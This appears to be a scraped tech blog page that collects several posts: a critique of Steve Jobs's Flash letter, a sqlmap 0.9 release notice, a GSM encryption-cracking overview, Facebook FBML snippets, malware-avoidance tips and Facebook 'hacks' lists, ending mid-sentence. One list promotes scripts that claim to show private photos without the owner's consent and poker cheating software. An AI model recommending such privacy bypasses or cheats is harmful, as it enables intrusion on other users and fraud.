Jobs Kills Flash on Iphone, Ipod and Ipad

Amidst all the wonderfully amusing half-truths and haughty hypocrisies dripping from his open letter on Adobe Flash, Steve Jobs has at least made one thing quite clear: his biggest beef with Flash is that it lets you create applications that run on all sorts of devices that weren't built by him.<br /><br />And his biggest beef is also his biggest hypocrisy.<br /><br />In his 1,700-word <a href="http://www.apple.com/hotnews/thoughts-on-flash/">Thoughts on Flash</a> missive, Jobs says his "most important reason" for banning Flash on the iPhone, iPod touch, and iPad is not that Flash sucks at online video and other web-based stuff. It's that Adobe wants developers to use Flash as a means of building native applications for his holy devices. This is such a problem, Jobs says, because Flash is a cross-platform development tool.<br /><br />"We know from painful experience that letting a third party layer of software come between the platform and the developer ultimately results in sub-standard apps and hinders the enhancement and progress of the platform," he writes. "This becomes even worse if the third party is supplying a cross platform development tool. The third party may not adopt enhancements from one platform unless they are available on all of their supported platforms.<br /><br />"Hence developers only have access to the lowest common denominator set of features. Again, we cannot accept an outcome where developers are blocked from using our innovations and enhancements because they are not available on our competitor’s platforms."<br /><br />He takes a while to get there, but eventually he puts the notion into a nutshell. "Flash is a cross platform development tool," he says. "It is not Adobe’s goal to help developers write the best iPhone, iPod and iPad apps. It is their goal to help developers write cross platform apps." For all Jobs' talk of Flash being "closed and proprietary", plagued by security and performance problems, and, um, ill-suited to multi-touch, it all comes down to the fact that Adobe is interesting in helping developers write apps that run everywhere.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXKlv07BfiwXfo9MQqGHwLsO7v7qiiCH-lSO5fvZBNZZJT62wvPkjvf5dTH29YtbdR9L2CJovLR-TrA8vbdOW9O9GZtDIkhVVStmSXQSvK7HJAdee-1p_QWHL2azasfl7D0A4pcgBql4I/s1600/apple_as.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="apple-kills-flash" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXKlv07BfiwXfo9MQqGHwLsO7v7qiiCH-lSO5fvZBNZZJT62wvPkjvf5dTH29YtbdR9L2CJovLR-TrA8vbdOW9O9GZtDIkhVVStmSXQSvK7HJAdee-1p_QWHL2azasfl7D0A4pcgBql4I/s1600/apple_as.jpg" /></a></div><br />His letter would seem to indicate that when Apple banned code translation on the upcoming iPhone OS 4.0, its primary motivation was to prevent Adobe from translating Flash script for use on the device. Which is hardly a surprise. Before the letter, others had guessed as much.<br /><br />The ban arrived just days before Adobe introduced a new iPhone packager with its Flash Professional CS5 development kit. With a few lines tucked into the iPhone 4.0 OS SDK license agreement, Apple barred developers from accessing its APIs with anything other than the language he approves of. "Applications must be originally written in Objective-C, C, C++, or JavaScript as executed by the iPhone OS WebKit engine, and only code written in C, C++, and Objective-C may compile and directly link against the Documented APIs (e.g., Applications that link to Documented APIs through an intermediary translation or compatibility layer or tool are prohibited)," the change read.<br /><br />Yes, we're still left to wonder whether this new language also buries development kits along the lines of Appcelerator's Titanium and Unity3D. These tools also translate codes written in other languages, but unlike Adobe's iPhone packager - which compiles directly into machine code - they make use of Apple's XCode development kit, compiling code into Jobs' beloved Objective C. Provided these kits are briskly updated when Apple introduces new APIs, they may satisfy the man.<br /><br />These can be viewed as translation layers. And in his letter - echoing a private email he allegedly sent a few weeks back - Jobs makes it clear that he doesn't want a third party sitting between developers and his APIs. "If developers grow dependent on third party development libraries and tools, they can only take advantage of platform enhancements if and when the third party chooses to adopt the new features. We cannot be at the mercy of a third party deciding if and when they will make our enhancements available to our developers," he writes.<br /><br />But the letter is aimed at Adobe. And only Adobe. In arguing that third-party development kits slow the adoption of Apple's APIs, Jobs calls out Adobe for taking so long to adopt Cocoa, Apple's latest set of APIs for the Mac. "Adobe has been painfully slow to adopt enhancements to Apple’s platforms," he writes. "Although Mac OS X has been shipping for almost 10 years now, Adobe just adopted it fully (Cocoa) two weeks ago when they shipped CS5. Adobe was the last major third-party developer to fully adopt Mac OS X."<br /><br />Actually, Microsoft hasn't moved Office to Cocoa. And we would argue that Redmond is a major third-party developer. But as <a href="http://www.osnews.com/story/23224/Jobs_on_Flash_Hypocrisy_So_Thick_You_Could_Cut_it_with_a_Knife">OSNews</a> points out, the larger point to make is that Apple itself has taken its sweet time adopting Cocoa. The Mac's centerpiece application, Finder, didn't adopt Cocoa until Snow Leopard, nearly a decade after the API's debut. And Apple iTunes still doesn't use Cocoa. Neither does <a href="http://prohackingtricks.blogspot.com/2011/06/apple-releases-final-cut-pro-x.html">Final Cut Pro</a>.<br /><br />In short, with today's letter, Jobs has achieved the sort of haughty hypocrisy typically reserved for the likes of Eric Schmidt. Yes, there the irony that Jobs is accusing Flash of being "closed and proprietary." But the irony goes much further, rending his cross-platform argument in two.<br /><br />Yes, Flash has its security and performance problems. And, yes, we'd much prefer a webworld that relies open standards. But with today's letter, Steve Jobs has shown that those are merely side issues. The primary issue is that Jobs wants to exert as much control as he possibly can over his devices - and over, well, developers. Notice that he calls them "our developers."<br /><br />Well, that's part of the primary issue. The other - perhaps larger - part is that the man has some sort of personal vendetta against Adobe Flash. In so many ways, the letter is nonsense. But on this point, it's completely clear.

Jobs Kills Flash on Iphone, Ipod and Ipad

Amidst all the wonderfully amusing half-truths and haughty hypocrisies dripping from his open letter on Adobe Flash, Steve Jobs has at least...

Read more »

Automatic Blind SQL Injection Tool – sqlmap 0.9 Released

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtP3IY6W1cRCa7msSJRLqMn6OuPJal_h4MNvNDYp57PPUEEbs18Abx0W13LSlb_akRAyA1z_v4mnzsNMoU_5tFOMqQUBZRkByCY0k7iNSNIpa4nGZED9IU-PDbzqYFA8SVEsTzC3xJImk/s1600/sqlmap.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtP3IY6W1cRCa7msSJRLqMn6OuPJal_h4MNvNDYp57PPUEEbs18Abx0W13LSlb_akRAyA1z_v4mnzsNMoU_5tFOMqQUBZRkByCY0k7iNSNIpa4nGZED9IU-PDbzqYFA8SVEsTzC3xJImk/s1600/sqlmap.png" /></a></div>For those that aren’t familiar with the tool, sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a kick-ass detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.<br /><br />New Features/Changes<br /><ul><li>Rewritten SQL injection detection engine (Bernardo and Miroslav).</li><li>Support to directly connect to the database without passing via a SQL injection, -d switch (Bernardo and Miroslav).</li><li>Added full support for both time-based blind SQL injection and error-based SQL injection techniques (Bernardo and Miroslav).</li><li>Implemented support for SQLite 2 and 3 (Bernardo and Miroslav).</li><li>Implemented support for Firebird (Bernardo and Miroslav).</li><li>Implemented support for Microsoft Access, Sybase and SAP MaxDB (Miroslav).</li><li>Added support to tamper injection data with –tamper switch (Bernardo and Miroslav).</li><li>Added automatic recognition of password hashes format and support to crack them with a dictionary-based attack (Miroslav).</li><li>Added support to fetch unicode data (Bernardo and Miroslav).</li><li>Added support to use persistent HTTP(s) connection for speed improvement, alive switch (Miroslav).</li><li>Implemented several optimization switches to speed up the exploitation of SQL injections (Bernardo and Miroslav).</li><li>Support to parse and test forms on target url, –forms switch (Bernardo and Miroslav).</li><li>Added switches to brute-force tables names and columns names with a dictionary attack, –common-tables and –common-columns.</li></ul>The complete changelog is available for viewing <a href="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/doc/ChangeLog">here</a>.<br /><br />You can also download the user manual here [PDF] – <a href="http://sqlmap.sourceforge.net/doc/README.pdf">sqlmap README</a><br /><br />You can download sqlmap 0.9 here:<br /><br /><a href="http://downloads.sourceforge.net/sqlmap/sqlmap-0.9.tar.gz">sqlmap-0.9.tar.gz</a><br /><br />Or read more <a href="http://sqlmap.sourceforge.net/">here</a>.

Automatic Blind SQL Injection Tool – sqlmap 0.9 Released

For those that aren’t familiar with the tool, sqlmap is an open source penetration testing tool that automates the process of detecting and ...

Read more »

GSM Cellular Crypto Code Breaking

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv0W2UStBoDOKMTr1MSrSBFRYDCDIOHt2U657v_djw3vpPZDL6pcLboR5acXgm65aduls9t70N5HFAF697dbcs6Z-9OscgKpmp0Ph2fe9sINnr34VzVFR__s0Kzs54eIMtmmWOOhPH01w/s1600/b445ba574f6b33ef4d40335ddc74-medium.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv0W2UStBoDOKMTr1MSrSBFRYDCDIOHt2U657v_djw3vpPZDL6pcLboR5acXgm65aduls9t70N5HFAF697dbcs6Z-9OscgKpmp0Ph2fe9sINnr34VzVFR__s0Kzs54eIMtmmWOOhPH01w/s1600/b445ba574f6b33ef4d40335ddc74-medium.jpg" /></a></div>Most people think that “hackers” are just a bunch of criminals. But those of us who are real hackers know better. We know that to be a true hacker, you must dare to discover new things, and have the moral strength to turn your knowledge to good.<br /><br />In this brief Guide we give an example of how real hackers are working to reveal to the world how to crack open the technique that is supposed to provide privacy to GSM (<a href="http://www.hackcanada.com/blackcrawl/cell/gsm/gsm-secur/gsm-secur.html">Global System for Mobile communications</a>) cell phone calls.<br /><br />Why would anyone want to ruin the privacy of GSM cell phone calls? The problem is that this privacy has already been ruined by those who already know how to crack this code, for example spy agencies. Who knows, perhaps crime organizations also are able to snoop on GSM phone calls. This is a big deal because over three million people are using GSM phone and they don't realize they could be snooped upon.<br /><br />Enter hackers – specifically, a group led by a member of one of the oldest hacker groups around, Germany's <a href="http://ccc.de/">Chaos Computer Club</a>. <a href="http://h4rdw4re.com/about/about.htm">Karsten Nohl</a>, now chief research scientist with <a href="http://h4rdw4re.com/">H4RDW4RE</a>, a Sunnyvale, Calif.-based security research firm.<br /><br />Nohl's solution to this problem was to mount <a href="http://spectrum.ieee.org/telecom/wireless/open-source-effort-to-hack-gsm">“what could be the most ambitious attempt yet to compromise the GSM phone system.... Others have cracked the A5/1 encryption technology used in GSM before, but their results have remained secret. However, Nohl, who earned a Ph.D. in computer science at the University of Virginia and is a member of Germany's Chaos Computer Club (CCC), intends to go one big step further: By the end of the year, he plans to make the keys available to everyone on the Internet.”</a><br /><br />Karsten Nohl discusses Hacking A5 GSM Encryption.  View video <a href="http://www.rehash.nl/">here</a>.  Download slides <a href="https://har2009.org/program/events/187.en.html">here</a>.<br /><br />See Nohl's article, <a href="http://www.cs.virginia.edu/%7Eevans/pubs/usenix08/usenix08.pdf">Reverse-Engineering a Cryptographic RFID Tag </a>

GSM Cellular Crypto Code Breaking

Most people think that “hackers” are just a bunch of criminals. But those of us who are real hackers know better. We know that to be a true ...

Read more »

10 Useful Hack Tricks for Business Facebook Fan pages

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipLBwUb0ymR_ZPH50XffJQoORe84JbrGwuYR3My18S3lYdYODUVF7WXBH67x_g6PJQJBdegGyCWmujT4OAouTv0DzUknxaPvXhTkTZDeL_xCTS2qXU412Q-0Gq-5J3xkCs4A5YYiZKdtc/s1600/Facebook_Logo.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipLBwUb0ymR_ZPH50XffJQoORe84JbrGwuYR3My18S3lYdYODUVF7WXBH67x_g6PJQJBdegGyCWmujT4OAouTv0DzUknxaPvXhTkTZDeL_xCTS2qXU412Q-0Gq-5J3xkCs4A5YYiZKdtc/s1600/Facebook_Logo.png" /></a></div>Facebook Pages are among the best ways to promote your product using the Social media. You can drive lots of visitors to your blog and also could market your product with small investment with the Facebook page. But just creating a Facebook page for your business is not going to promote your business after all, you should have to gather lots of loyal fans to your page and drive them towards the promotion of your product.<br /><br />So for gathering the Fans for your Facebook page you have to make your page more interactive. In this post we have brought you 10 Cool Facebook Code Tricks for your Business Facebook Fan pages using the Static Fbml Facebook Application.<br /><br /><span style="font-size: large;"><b>1. Embedding YouTube Videos</b></span><br /><br />When you click the embed button below the video in YouTube, It will give you the embed code to put that video easily on your website or might be using some free plugin to easily embed youtube videos on wordpress blogs.<br /><br />But in case of embedding YouTube video on Facebook page, the default embed HTML code doesn’t works. The video on Facebook can be only embedded using the lash. Copy-Paste the code below into the FBML box of your page to embed the video. Remember to replace VIDEO_ID with the YouTube Video ID before you save.<br /><blockquote><fb:swf swfsrc=”http://www.youtube.com/v/VIDEO_ID” imgsrc=”http://img.youtube.com/vi/VIDEO_ID/default.jpg” width=”480″ height=”360″ /></blockquote><span style="font-size: large;"><b>2. Separate contents for Fans and non-fans</b></span><br /><br />Showing Separate contents for the Facebook Page fans and non fans can also help you gain more fans for your page. You can use the FMBL below and show separate content for the fans and non-fans.<br /><blockquote><fb:fbml version=”1.1″><br /><fb:visible-to-connection>This part is visible for fans only!<br /><fb:else>This part is visible for non-fans</fb:else><br /></fb:visible-to-connection><br /></fb:fbml></blockquote><span style="font-size: large;"><b>3. Invite to Friends box</b></span><br /><br />Adding an Invite to Friend box below the main Content of your welcome Tab will also help you increase the fans of your page as it makes your fans easier to invite their friends on Facebook. Use the following code in FBML box  to insert the Invite box in your page.<br /><blockquote><fb:request-form method=”post” type=”[your organization]” invite=”true” content=”Check out [your organization]<fb:req-choice url=’http://www.facebook.com/YOURPAGE’ ‘ label=’GO’ /> “><br /><fb:multi-friend-selector actiontext=”Tell your friends about [your organization]” rows=”3″ showborder=”true” /><br /></fb:request-form><br /></fb:request-form></blockquote><span style="font-size: large;"><b>4. Adding a Comment Box</b></span><br /><br />Adding a comment Box on your Facebook page or adding it below any featured product on your page makes your readers easy to comment on the specified product easily. You can use the  following code in the Fbml box to insert it in your page.<br /><blockquote><fb:comments xid=”YOUR_PRODUCT_UNIQUE_ID” canpost=”true” showform=”true” candelete=”false” numposts=”3″ returnurl=”http://YOUR_PRODUCT_HOME_URL”><br /><br /></fb:comments></blockquote><span style="font-size: large;"><b>5. Adding podcasts and MP3 Audios</b></span><br /><br />Like YouTube videos you can also embed podcasts or any Mp3 Audio on your Fan page using the Fbml. You have to provide the direct link to the mp3 audio file or Podcast in the Fbml. Facebook will wrap them in their own player and make your fans listen to it easily.<br /><blockquote><fb:mp3 src=”http://example.com/podcast.mp3″ title=”Our new Song” artist=”This Week in Facebook” /></blockquote><span style="font-size: large;"><b>6. Adding pop-up Dialog Box</b></span><br /><br />The Pop-up dialog box is used to give the short description of the link with on a Popup dialog box whenever a user clicks a specified link in your fan page.<br /><br />For instance,You have used pop-up box for the ‘About’ Link on your page then it will show the popup box as above when your fan click on the link and the ‘learn more’ link can be even redirected to your About page.<br /><blockquote><fb:dialog id=”dialog” cancel_button=1><br /><br /><fb:dialog-title>About Us</fb:dialog-title><br /><br /><fb:dialog-content>Bloganol is a Blog About Tech, Social Media, Opensource and more.<br /><br />Would you like to learn more?</fb:dialog-content><br /><br /><fb:dialog-button type=”button” value=”Yes” href=”http://www.bloganol.com/about” /><br /><br /></fb:dialog><br /><br /><a href=”#” clicktoshowdialog=”dialog”>Click here</a> to learn more.</blockquote><span style="font-size: large;"><b>7. Adding Polls to the Page</b></span><br /><br />Previously in our blog we have already published a post about Ultimate Tricks and applications to make your facebook page a masterpiece. On that post adding a poll on a Facebook Page was also included but it was using the direct Facebook application.<br /><br />In this page we are talking about inserting Polldaddy polls on your fan page in a Tab using the Fbml. Copy-Paste the following Fbml to insert polldaddy polls on your Facebook fan page. Remember to replace POLL_ID with your Poll id from Polldaddy before you save.<br /><blockquote><fb:swf swfsrc=’http://i.polldaddy.com/poll.swf?p=POLL_ID’  width=’250′ height=’500′ imgsrc=”poll-thumbnail.jpg” /></blockquote><span style="font-size: large;"><b>8. Inserting Flash Content</b></span><br /><br />Inserting Flash Content on your Facebook page is also like inserting YouTube video in your Page. Use the Fbml to insert Flash content n your page. Use the Flash file URL in the swfsrc and use the image URL on imgsrc as the source of the image that is being displayed, before your flash.<br /><blockquote><fb:swf swfbgcolor=”000000″ swfsrc=’http://domain.com/file.swf’ imgsrc=’http://domain.com/picture.jpg’ width=’760′ height=’920′ /></blockquote><span style="font-size: large;"><b>9. Adding a Chat Room</b></span><br /><br />Adding a chat room on your Fan page enables you to chat with your Fans when they are on your page. Firs thing you need is to create a Flash based chat widget for your Facebook page using MeeboMe and then embed that Chat widget on your Facebook Fbml box usng the code below.<br /><br />Remember to replace CHAT_ID with your widget chat Id provided by Meeome before you save the code.<br /><blockquote><fb:swf swfsrc=’http://widget.meebo.com/mm.swf?CHAT_ID’  width=’515′ height=’425′ imgsrc=”chat-thumbnail.jpg” /></blockquote><span style="font-size: large;"><b>10. Adding a share button</b></span><br /><br />A share button on your Facebook page lets your fan to share the provided link on their Facebook profile easily. You can use the following code on Fbml Box of your Page to insert the ‘Share’ button on your fan page.<br /><blockquote><fb:share-button class=”meta”><br /><link rel=”target_url” href=”http://yoururl.com”/><br /></fb:share-button> </blockquote>

10 Useful Hack Tricks for Business Facebook Fan pages

Facebook Pages are among the best ways to promote your product using the Social media. You can drive lots of visitors to your blog and also ...

Read more »

How to Avoid Facebook Viruses and Spam Messages

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuHHsIjp2JOKLh4egaRVb4VskZCFTLqeG1DZDI5_8GmENEbbA1I-vthVltySJ1uyBJ98pvpcPMUPrPH-nQq-OnyO_U2WD-ViFR5D_DfkNV8oOlZ4vXdb183No5GHB7oKaELNxpOP0Nd7g/s1600/Facebook.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuHHsIjp2JOKLh4egaRVb4VskZCFTLqeG1DZDI5_8GmENEbbA1I-vthVltySJ1uyBJ98pvpcPMUPrPH-nQq-OnyO_U2WD-ViFR5D_DfkNV8oOlZ4vXdb183No5GHB7oKaELNxpOP0Nd7g/s320/Facebook.jpg" width="320" /></a></div>Facebook, the biggest social network with 500 million users, provides an interface to hit an unsuspecting crowd with malware and viruses. These viruses aren’t very difficult to detect if you are cautious enough. These Facebook viruses appear on your wall in forms of a bizarre or eye-catching stories and videos and once the user has clicked/liked the link, it is already late. The next step will be getting rid of your Facebook virus which is a time-consuming process. Its better to avoid spam messages and trojan viruses in the first place.<br /><br /><span style="font-size: large;"><b>How to avoid it?</b></span><br /><br /><b>1. Think before you Act.</b> Viruses on Facebook are sneaky. The hackers and cybercriminals who want your information know that Facebook users will often click on an interesting post without a moment’s thought. If a post sounds a bit over-the-top like a headline out of a tabloid, this is your first warning sign.<br /><br /><b>2. Try to avoid Links and videos with Catchy words like “funniest ever,” “most hilarious video on Facebook,” or “you’ve got to see this.”</b> Do some keyword research to see if the post in question comes up in a search engine with information about a current virus or trojan.<br /><br /><b>3. Check the poster of the Suspicious content.</b> If you receive a message from someone you do not know, this is an obvious red flag. Facebook video viruses also tend to pop up in your news feed or on your wall from friends you haven’t talked to in a while. Unfortunately, it’s likely this friend has already fallen victim to the latest virus on Facebook. After clicking on the story themselves, the message was sent out to all of their friends as well.<br /><b><br /></b><br /><b>4 Avoid messages that have been posted by multiple users</b> as the virus spreads among your friends who were not so cautious. If a link with title such as “Sexiest video ever” shows up all over your feed from all kinds of people (perhaps friends you would not expect to make such a post), this is another warning sign. Similar direct messages are a likely variant of the notorious Facebook Koobface virus which has used this approach in the past.<br /><br /><b>5. Do not fall for the “typical” money-transfer schemes.</b> Chat messages from friends needing funds will usually sound suspicious. Everything can’t be screened before posting, so money transfer scams and hoax applications still find their way on to Facebook. You should also avoid applications that claim to do a full “Error check” or fix security problems related to your profile.<br /><br /><b>6. Update your anti-virus software frequently.</b> If you do accidentally click on a post before realizing it is a hoax, do not click on any further links or downloads. If it’s too late and you have already been infected, the Facebook virus removal process may be effortless if you have a good anti-virus program to catch the virus, trojan or other malware early on.<br /><br /><span style="font-size: large;"><b>What’s Next?</b></span><br /><br />These were few important tips to safeguard your facebook account but your job isn’t done yet. Once you have detected that the link/post on your facebook wall is Malicious you should Mark it as SPAM so that the facebook support will stop it from spreading further and infecting other users.<br /><br />If you have ever fallen victim of any such Malicious Scheme, please share your experience with all the users in form of comments so that others don’t fall victim of it.

How to Avoid Facebook Viruses and Spam Messages

Facebook, the biggest social network with 500 million users, provides an interface to hit an unsuspecting crowd with malware and viruses. Th...

Read more »

Recent Facebook Hacks for 2011

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNRmSKmvTIeX5jpTvcpkIcmqOvE4_wf7bbDiqrNwy4e05OgornaR4OkKwUWTa5II3yB0VaZpLQRECChLmO4WjrG7gy6tNqGVzW5IHSgdtqoF_k9bZy1uPBsNwG7VE7mzfOZomnfvg53Xo/s1600/facebook-hacking.jpg.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="219" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNRmSKmvTIeX5jpTvcpkIcmqOvE4_wf7bbDiqrNwy4e05OgornaR4OkKwUWTa5II3yB0VaZpLQRECChLmO4WjrG7gy6tNqGVzW5IHSgdtqoF_k9bZy1uPBsNwG7VE7mzfOZomnfvg53Xo/s320/facebook-hacking.jpg.png" width="320" /></a></div>This <b>Facebook Hacks and Tricks</b> will help improve your knowledge around the Facebook Platform. There are ways tech geeks use Facebook and with this Hacks and Tricks you will get to know how.<br /><br />I have collected the <b>Most Essential Hacks and Tricks </b>of Facebook and presented them to you. I recently wrote about <a href="http://prohackingtricks.blogspot.com/2011/04/24-great-facebook-tricks-and-hacks.html">24 Facebook tricks</a>, you might consider reading that before this.<br /><br /><b><span style="font-size: large;">1.How to View the Album of Any User Even if it is Private</span></b><br /><br />You can use this hack script to view a photo in the original album, even if you’re not friends with the person.<br /><br /><a href="http://userscripts.org/scripts/show/9580">Get it Here</a><br /><br /><b><span style="font-size: large;">2. How to Remove Annoying Facebook Advertisement</span></b><br /><br />Get rid of some of the Facebook advertising and sponsored by sections with this tool.<br /><br /><a href="http://userscripts.org/scripts/show/27121">Get it Here</a><br /><br /><b><span style="font-size: large;">3. How to see Real Profiles from Public Pages</span></b><br /><br />This hack script redirects to real profiles from the Facebook people pages (public profiles). There is a risk of an infinite redirect loop if not logged in, so be logged in.<br /><br /><a href="http://userscripts.org/scripts/show/27011">Get it Here</a><br /><br /><b><span style="font-size: large;">4. How to Undo Facebook Changes</span></b><br /><br />If you hate some or all of the new Facebook changes, undo them with these scripts and use what you liked previously.<br /><br /><a href="http://userscripts.org/scripts/show/8482">Get it Here</a><br /><br /><b><span style="font-size: large;">5. How to View All the Photos from a Person</span></b><br /><br />You can search for pictures of a Facebook member who has tight privacy settings and view all his/ her pictures without his/ her consent.<br /><br /><a href="http://userscripts.org/scripts/show/11218">Get it Here</a><br /><b><span style="font-size: large;"><br /></span></b><br /><b><span style="font-size: large;">6. How to Find More Friends at Facebook</span></b><br /><br />Suppose some of your friends have newly joined Facebook and you didn’t even knew. Use this hack and it will help you go through your friends’ friends list and find them out.<br /><br /><a href="http://www.facebook.com/applications/More_Friends/2419601767">Get it Here</a><br /><br /><b><span style="font-size: large;">7. How to Share Files from Facebook</span></b><br /><br />With this box widget, you can share files from your computer through Facebook. Isn’t this trick great?<br /><br /><a href="http://mashable.com/2007/05/24/facebook-platform-30-apps/">Get it Here</a><br /><br /><b><span style="font-size: large;">8. How to Get a Job from Facebook</span></b><br /><br />Looking for a job? This application gives Facebook users unique access to job information, networking opportunities and other career resources.<br /><br /><a href="http://mashable.com/2007/05/24/facebook-platform-30-apps/">Get it Here</a><br /><b><span style="font-size: large;"><br /></span></b><br /><b><span style="font-size: large;">9. How to Tighten up the Privacy and still Maintain Communication Convenience</span></b><br /><br />The Private Wall combines the best of both worlds of Facebook: online convenience and communication with more serious privacy settings.<br /><br /><a href="http://www.facebook.com/applications/Private_Wall/20221093560">Get it Here</a><br /><br /><b><span style="font-size: large;">10 How to Cheat Facebook Texas Hold em Poker</span></b><br /><br />This is one of my<b> Favorite hacks </b>and that is why I have saved it for the last one. Using this software you can see the cards of any player and the advanced version of this software allows you to even add credits to your account for free, this trick is awesome and my peak of them all.<br /><br /><a href="http://facebookhacks.magnify.net/video/Cheat-Facebook-Texas-Hold-em-Po">Get it Here</a>

Recent Facebook Hacks for 2011

This Facebook Hacks and Tricks will help improve your knowledge around the Facebook Platform. There are ways tech geeks use Facebook and wi...

Read more »

24 Great Facebook Tricks and Hacks

<span style="font-size: large;"><b>1. Hide Your Online Status From Selected Friends:</b></span><br /><br />So you want to use Facebook chat but don’t want <b><i>some </i></b>people to see your online status? Simply open up the Facebook Chat and click on <b><i>Friends List</i></b>. Start creating a new list called <i><b>BlockList</b></i>.<br /><br />Once the list is created, add those friends to the list that you want to appear offline to. When the list is complete, hover your mouse to the little green icon adjacent to the list and click <b><i>Go Offline</i></b>. Bingo! You will now appear offline to everybody in the BlockList.<br /><br /><b><span style="font-size: large;">2. View a Friend’s Profile Without Messy Applications:</span></b><br /><br />If you are like me, you often get annoyed by the dozens of silly applications that people have added to their profile. <a href="http://userscripts.org/scripts/show/11747">Here’s</a> a Grease Monkey script that allows you to view any profile without all those applications. Remember: the Mozilla Firefox web browser is a prerequisite for running Greasemonkey.<br /><br /><b><span style="font-size: large;">3. Display Your Facebook Status On Your WordPress Blog:</span></b><br /><br />Want to display your Facebook status updates on your WordPress blog? There is a plugin that does exactly that. <a href="http://pomomusings.com/2007/08/29/statuspress/">StatusPress</a> lets you display your status updates to a widget on your WordPress blog.<br /><br /><b><span style="font-size: large;">4. Access Facebook Chat Through Your Desktop:</span></b><br /><br />No need to go to Facebook.com if all you want to do is use Facebook chat. You can do it right from your desktop using clients like <a href="http://social.im/">social.im</a> , <a href="http://adiumx.com/">Adium</a> or <a href="http://chitchat.org.uk/index.php">ChitChat</a>.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4qG2whK9j26bCHXDYHfy5iOsmaIETTGSf6frKiNeepKX6wjw-RTrOBsGoe94ZNiR4D9SfXrX_VNsvu9Mnf71DFl5_eGwjpa5tNTBynfoRHnvNYdloGRXrmChgC0yKixMpTvo4xVAbX2Y/s1600/ChitChat.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4qG2whK9j26bCHXDYHfy5iOsmaIETTGSf6frKiNeepKX6wjw-RTrOBsGoe94ZNiR4D9SfXrX_VNsvu9Mnf71DFl5_eGwjpa5tNTBynfoRHnvNYdloGRXrmChgC0yKixMpTvo4xVAbX2Y/s1600/ChitChat.png" /></a></div><br /><b><span style="font-size: large;">5. Update Facebook Status From Firefox:</span></b><br /><br />If you are a firefox addict you don’t need to use any other software to update your Facebook status. Simply install the <a href="https://addons.mozilla.org/en-US/firefox/addon/8973">FireStatus</a> add-on and update your status right from your browser. You can also use the <a href="https://addons.mozilla.org/en-US/firefox/addon/3794">Facebook Toolbar</a> to completely manage Facebook from your Firefox browser.<br /><br /><b><span style="font-size: large;">6. Create A Photo Collage From Pictures Of Your Facebook Friends:</span></b><br /><br />Easily create a photo collage from profile pictures of all your Facebook friends using a simple Facebook app called <a href="http://www.facebook.com/apps/application.php?id=55050194973">Photo Collage</a>.<br /><br /><b><span style="font-size: large;">7. Add A New friend But Hide It From Your Status Update:</span></b><br /><br />A great <a href="http://www.makeuseof.com/tag/facebook-tip-how-to-safely-friend-a-colleague-or-relative-without-showing-them-all-your-business/">tutorial</a> by Tim Watson walks you through the process of hiding specific actions from your status updates.<br /><br /><b><span style="font-size: large;">8. Schedule Facebook Messages To Be Send Later:</span></b><br /><br />If you want to schedule your Facebook messages to be send sometime in the future, <a href="http://sendible.com/">Sendible</a> is a great tool to do that. You can also use Sendible to schedule your status updates.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqMoEmI2d7S_cnaDFrOLSYiVYAzwFFwk8sZ17oykfxpLVT0hg6F-1mNBQ2VrRZ2egmMseogOaYxkbwWEZYVWl70gpl39YQyh8lFi052lHkICG2OT1T1_gfHlxHILXEp8vrxZVteJlTENA/s1600/Sendible.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqMoEmI2d7S_cnaDFrOLSYiVYAzwFFwk8sZ17oykfxpLVT0hg6F-1mNBQ2VrRZ2egmMseogOaYxkbwWEZYVWl70gpl39YQyh8lFi052lHkICG2OT1T1_gfHlxHILXEp8vrxZVteJlTENA/s1600/Sendible.png" /></a></div><br /><b><span style="font-size: large;">9. How To Share Flickr Photos On Facebook:</span></b><br /><br /><a href="http://www.facebook.com/apps/application.php?id=2352557895#/myflickr?v=info">My Flickr</a> is a Facebook application that lets you display your Flickr photos and photo sets on Facebook so your friends can view and comment on them without leaving Facebook.<br /><br /><b><span style="font-size: large;">10. How To Download Facebook Photo Albums:</span></b><br /><br />Ever felt the need to download complete photo albums from Facebook. You can easily do it with either a Windows desktop application named <a href="http://fotobounce.com/index.php">FotoBounce</a> or a great Firefox 